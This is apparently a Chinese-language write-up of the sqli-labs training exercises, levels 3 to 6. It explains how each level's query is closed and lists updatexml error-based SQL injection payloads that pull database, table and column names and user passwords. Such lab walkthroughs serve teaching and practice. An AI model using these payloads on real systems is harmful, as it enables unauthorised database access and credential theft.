sqli-lab-Less-3-6

第二关和第一关类似,就不在过多赘述

Less-3

第三关我们先查看一下源码

1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

这样一行代码,即我们输入的值被(‘’)包括,类似的,将其闭合
Less-3/?id=1’)
后面都与第一关相同

Less-4

1
2
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

“两边的单引号是引双引号的,即id是用双引号和括号闭合的

Less-5

首先依然是判断注入点类型,’闭合

updatexml报错注入

通过分析上面的代码得知,数据库会报错

1
2
3
4
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

于是我们可以尝试使用updatexml报错注入,因为有时候报错注入的致命错误会显示出来,数据库只忽略普通报错

爆库名

Less-5/?id=1' and updatexml(1,concat('~',(select database()),'~'),1) --+

爆表名

Less-5/?id=1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'~'),1) --+

爆字段

Less-5/?id=1' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='security'and table_name='users' limit 1,1),'~'),1) --+

limlt 2,1

爆数据

Less-5/?id=1' and updatexml(1,concat('~',(select username,password from users limit 0,1),'~'),1) --+

一个字段一个字段来
Less-5/?id=1' and updatexml(1,concat('~',(select group_concat(password) from users ),'~'),1) --+

第六关和第五关(“闭合)类似,这里就不再过多赘述